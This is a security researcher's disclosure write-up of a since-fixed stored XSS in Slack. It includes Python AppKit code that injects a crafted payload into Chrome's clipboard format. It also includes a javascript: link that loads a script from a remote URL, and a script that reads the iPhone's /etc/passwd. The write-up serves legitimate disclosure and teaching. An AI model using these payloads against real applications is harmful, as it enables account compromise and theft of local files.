Using Chrome's web-custom-data UTI to inject a stored XSS in Slack

TL;DR, this is a walkthrough of a hard-to-reproduce bug I found in Slack a few months back. Even though the payload was only working because of a legacy migration, by utilizing Python’s AppKit to insert data into Chrome’s rich-text-format clipboard, I was able to add and modify the XSS payload already inside Slack.

 

When looking at Slack’s new editor for Posts a few months back, I noticed that my old posts using Markdown had been migrated to the new editor. For some reason, some of the links inside the posts did actually have javascript:-as their protocol:

This was interesting, because there was no way to actually create new links with the same behaviour. My old post worked, that was it. How would I be able to show Slack that an issue was actually currently present? Was it actually possible to modify the payload to do something else than just an alert()?

First method, proxying the Rocket socket

I noticed that by using the browser’s copy & paste, I was able to insert a new element with the malicious link present. This also triggered an event in their socket connection called Rocket:

{"type": "rocket", "event":"rocket", 
"payload": ... {"type": "unfurl", "originalFragment": 
... "_data":{"type":"p","text":"javascript:alert(document.domain%29","tabbing":0,
"links":{"xxx":[0,22]},"formats":[]},
... ,"r":19,"$":15,"type":"mm","sel":[[3],0,[3],0]},"id":25}

I reported this to Slack, showing how you were able to catch this event in the proxy, injecting a new element using “Unfurl”, which was supposedly the type of element that had the bug present. One thing that was interesting was that viewing the post on slack-files.com, there was a mitigation in place for javascript:-URIs:

if (protocol && /^https?:$/.test(protocol) === false) {
     e.preventDefault();
     if (console && typeof console.warn === "function") {
         console.warn("not following bad link from a post preview")
     }
}

However, watching the post inside the team did not have the same mitigation in place:

When Slack responded, they were not able to inject the payload I suggested. The Rocket socket was a bit messy, due to all the markers, IDs and counters that had to be properly set for the proxy modification to work properly. They also thought the issue was present inside slack-files.com which was not the case, the XSS only triggered on [teamname].slack.com.

Second method, using the clipboard

I had to rethink how to make a good proof of concept.

Since I knew that putting the payload inside the clipboard, I was able to paste it inside a new post, my plan was to make a small script, injecting the proper payload into the clipboard. That would make it possible to create a PoC where they ran the script, got the data inside their clipboard, then pasting it in the Post editor in Slack would introduce the malicious link.

I found a really nice and simple tool called the Clipboard Viewer, which is actually one of the example apps that exist inside XCode. It basically lists all UTIs (Uniform Type Identifiers) currently inside the clipboard. It’s also possible to export each type separately:

I noticed that the UTI being used by Chrome’s RTF was called org.chromium.web-custom-data. This blob contained a application/spaces+json using UTF-16 LE:

First modifying this blob to contain my own payload, then using the following Python code:

from AppKit import NSPasteboard, NSData

uti = "org.chromium.web-custom-data"
chromium = open('chromium').read()

pb = NSPasteboard.generalPasteboard()
pb.clearContents()
pb.declareTypes_owner_([uti], None)
data = NSData.dataWithBytes_length_(chromium, len(chromium))
pb.setData_forType_(data, uti)

Would place the new payload inside the clipboard.

My working PoC

I was now able to:

  1. Edit the payload I wanted in my chromium-file using HexFiend set as UTF-16 LE:
  2. Create a new Post inside Slack:
  3. Run the Python code, injecting the payload into my clipboard:
  4. Paste the data from my clipboard into the post:
  5. The post now contained the malicious link.
  6. I could share the link inside the team, clicking the link in the post would trigger the XSS.

When trying this out, I also noticed that Slack’s iOS app was triggering the XSS as well. Back then, Bishop Fox had just written about the lack of SOP when getting Javascript to run inside apps on OS X.

Using the same technique for iOS, my link now looked like this:

javascript:x=document.createElement("script");
x.src="https://link-to-script.js";
document.children[0].children[1].appendChild(x);

pointing to a script containing this:

function ajax(cb) {
    var xhttp = new XMLHttpRequest();
    xhttp.addEventListener('load', cb)
    return xhttp;
}
function get(f, cb) {
    try {
    xhttp = ajax(cb)
    xhttp.open("GET", f);
    xhttp.send();
    } catch(e) {
        alert(e);
    }
}
get('file:///etc/passwd', function(d){ alert(this.responseText) });

This method alerted the /etc/passwd of the iPhone using the link inside Slack as a PoC:

I sent this over to Slack as additional comments inside the report, showing them that this could be used inside their iOS app as well.

Even though I tried to make a clear Proof of Concept out of this, for some reason, Slack still wasn’t able to reproduce this.

Last method, see for yourself

As a last suggestion, I asked Slack to be invited to my own Slack team, that had both examples working. AR from Slack joined my team and finally confirmed the two issues present, both in the web app and inside iOS:

Final words

For some reason, this issue was a hard one to prove, but I was glad that Slack took the extra step to join my test team to actually confirm the issue was present. Also, I was able to learn a lot around the type of data that exists inside the clipboard in OS X. The issue in Slack is now fixed both in the iOS app as well as in the web app and Slack paid out $1,000 for this bug. Link to the HackerOne report